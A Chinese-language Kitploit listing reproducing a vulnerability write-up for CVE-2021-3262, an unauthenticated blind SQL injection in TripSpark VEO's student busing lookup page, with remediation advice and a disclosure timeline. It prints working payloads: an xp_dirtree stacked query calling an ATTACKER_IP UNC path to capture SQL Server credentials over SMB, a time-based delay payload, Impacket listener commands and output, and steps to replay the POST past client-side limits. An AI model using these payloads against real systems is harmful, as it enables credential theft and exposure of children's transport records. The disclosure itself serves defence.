Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-3262 — CVE-2021-3262 - TripSpark VEO Transportation / NovusEDU 的 editOEN 参数中存在盲 SQL 注入漏洞。未经身份验证,面向互联网。包含载荷、带注释的请求和证据。 | Kitploit
工具/GitHubGitHub/l0lsec/cve-2021-3262
漏洞分析漏洞利用Web应用程序漏洞利用Web安全论文与研究学习与教育数据库安全
GitHubl0lsec/cve-2021-3262

CVE-2021-3262

CVE-2021-3262 - TripSpark VEO Transportation / NovusEDU 的 editOEN 参数中存在盲 SQL 注入漏洞。未经身份验证,面向互联网。包含载荷、带注释的请求和证据。

查看仓库
26天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

CVE-2021-3262

TripSpark VEO Transportation / NovusEDU 中的 SQL 注入

随 TripSpark VEO Transportation 一起提供的公开“学生班车信息”查询页面接收未经验证的 POST 正文输入,并将其直接拼接进 SQL Server 查询,既未使用参数化查询,也未进行服务端校验。editOEN 参数(学号字段)可被注入。

该注入为盲注:应用程序不会返回数据库错误,也没有值得读取的差异内容。但它仍然可以通过带外方式完全利用,因为数据库连接可以访问 master.dbo.xp_dirtree,这会强制 SQL Server 服务帐户通过 SMB 向攻击者提供的 UNC 路径发起出站身份验证。

该漏洞在一次外部渗透测试中发现。在最初的测试项目中,捕获到的服务帐户凭据成为立足点,最终导致客户 Active Directory 域和林的完全沦陷。

已发布为 CVE-2021-3262。由 Show Up Show Out Security 的 Sedric Louissaint 发现并报告。


摘要

CVECVE-2021-3262
产品TripSpark VEO Transportation / NovusEDU
受影响版本NovusEDU-2.2.x-XP_BB-20201123-184084, VEO--20201123-184084OS
弱点CWE-89: SQL 注入
CVSS 3.1(NVD)9.8 严重 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 2(研究人员)9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P
发布时间2023-08-29
测试环境Windows Server 2012 R2 Standard, SQL Server 2012 (SP3) 11.0.6020.0 (x64)
是否需要身份验证不需要。该查询页面按设计就是面向互联网开放的。

NVD 描述:

TripSpark VEO Transportation-2.2.x-XP_BB-20201123-184084 NovusEDU-2.2.x-XP_BB-20201123-184084 允许终端用户在 POST 正文参数中提供不安全的数据输入,而未通过服务端逻辑进行净化。可以将自定义 SQL 命令注入到“学生班车信息”搜索查询中。

技术细节

暴露面

各学区在其公共网站上部署“学生班车信息”页面,以便家长查询学生的校车安排。该页面要求学生输入学号 N Number 和出生日期,并且有意设计为无需身份验证即可访问。

公共的学生班车信息页面

学号字段以 editOEN 提交。出生日期以 cboxMonth、cboxDay 和 cboxYear 提交。editOEN 是可注入参数。

盲注

与许多同时代的 ASP.NET 应用程序不同,该页面不会回显数据库错误。格式正确的查询与格式错误的查询之间没有可见差异,因此基于响应的内联技术是死路一条。

堆叠查询可以执行,而这正是所需的一切。

通过 xp_dirtree 进行带外利用

master.dbo.xp_dirtree 用于枚举目录。给定一个 UNC 路径,SQL Server 会先通过 SMB 向目标主机进行身份验证,然后读取该路径。将其指向一个监听器,就能将无声的注入变为可见的注入:

root@kitploit:~
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

editOEN 参数中的 Payload

该请求是一个普通的 ASP.NET WebForms POST,大约 4,700 字节,其中大部分是 __VIEWSTATE。完整请求见 poc/exploited-request.http,payload 见 poc/payloads.sql。

被利用的 HTTP 请求

捕获到的身份验证

使用 Impacket 的 smbserver.py 在公共互联网上的一台主机上监听,学区网络内的数据库服务器会发起出站身份验证:

root@kitploit:~
[*] Incoming connection (204.x.x.x,58497)
[*] AUTHENTICATE_MESSAGE (\SQLServices,<REDACTED>-VEO-DB)
[*] User <REDACTED>-VEO-DB\SQLServices authenticated successfully
[*] SQLServices::...

使用 Impacket 捕获到的强制身份验证

有两点值得明确指出。第一,这是一个未经验证的、面向互联网的表单,却能直达生产数据库。第二,该数据库服务器被允许向任意互联网主机发起出站 SMB 连接,这正是盲注变得可观察的原因。

影响

除了注入本身之外,捕获到的 SQL Server 服务帐户 NTLMv2 凭据是最初测试项目中的立足点。从那里开始,评估逐步升级到客户 Active Directory 域和林的完全沦陷。

面临风险的数据是学生交通记录:姓名、家庭住址、分配的校车、分配的站点、接送时间以及特殊教育路线。这是一份关于可识别儿童将在已知时间实际出现在何处的日程表。

复现步骤

针对您拥有或获得授权测试的实验室实例:

  1. 加载“学生班车信息”页面。
  2. 在目标可以访问的主机上启动监听器:
    root@kitploit:~
    sudo smbserver.py c . -smb2support
    
  3. 在学号字段中提交 poc/payloads.sql 中的 xp_dirtree payload,并替换为您自己的 IP。如果该字段存在客户端长度限制,请捕获并重放该 POST,而不是在浏览器中手动输入,因为该限制在服务端并不存在。
  4. 存在漏洞的版本会从 SQL Server 服务帐户产生入站的 SMB 身份验证。HTTP 响应中不会有任何变化。
  5. 如果您无法接收入站 SMB,也可以使用基于时间的确认方法:
    root@kitploit:~
    123'; waitfor delay '0:0:10';--
    

仓库内容

root@kitploit:~
poc/
  payloads.sql            Detection, time-based and out-of-band payloads for editOEN
  exploited-request.http  The full POST request, ready for sqlmap -r
  sqlmap.md               sqlmap invocations for a blind stacked-query injection
media/
  01-student-busing-information-page.png
  02-editoen-payload-in-burp.png
  03-forced-auth-captured-impacket.png
  04-exploited-http-request.png

截图中的客户端标识符已打码。监听器地址来自最初的测试项目,早已失效。复现时请替换为您自己的地址。

修复建议

  1. 参数化查询。 将 editOEN 作为参数绑定,无论其中包含什么内容,payload 都会变成一个惰性字符串。
  2. 服务端校验。 学号很短且为数字。应在服务端强制执行此规则,而不是只在表单中限制。
  3. 数据库帐户最小权限。 支撑公开查询页面的帐户只需要读取校车分配信息,其他一概不需要。撤消其对 xp_dirtree 及其他扩展存储过程的访问权限。
  4. 出站过滤。 学区数据库服务器没有理由向互联网发起 SMB 连接。阻止出站 445 端口即可消除带外信道。
  5. 将公开表单与权威记录系统分离。 家长使用的页面应查询受限副本,而不是同时保存特殊教育路线的生产数据库。

时间线

日期事件
2021在一次外部渗透测试中发现并报告给 TripSpark
2023-08-29CVE-2021-3262 发布到 NVD,评分为 9.8 严重

相关文章

  • 个人博客:https://sedriclouissaint.com/blog/tripspark-veo-sql-injection-cve-2021-3262/
  • Show Up Show Out Security:https://susos.co/blog/sqlspark-sql-injection-in-tripspark-veo-transport-cve-2021-3262

免责声明

本文在漏洞公开后发布,用于防御和教育目的。请勿对这些 payload 针对您不拥有或未获得书面授权测试的系统运行。如果您负责管理某个学区的部署,这里最有用的做法是书面询问您的供应商:您公开表单背后的查询是否使用了参数化查询。

下载工具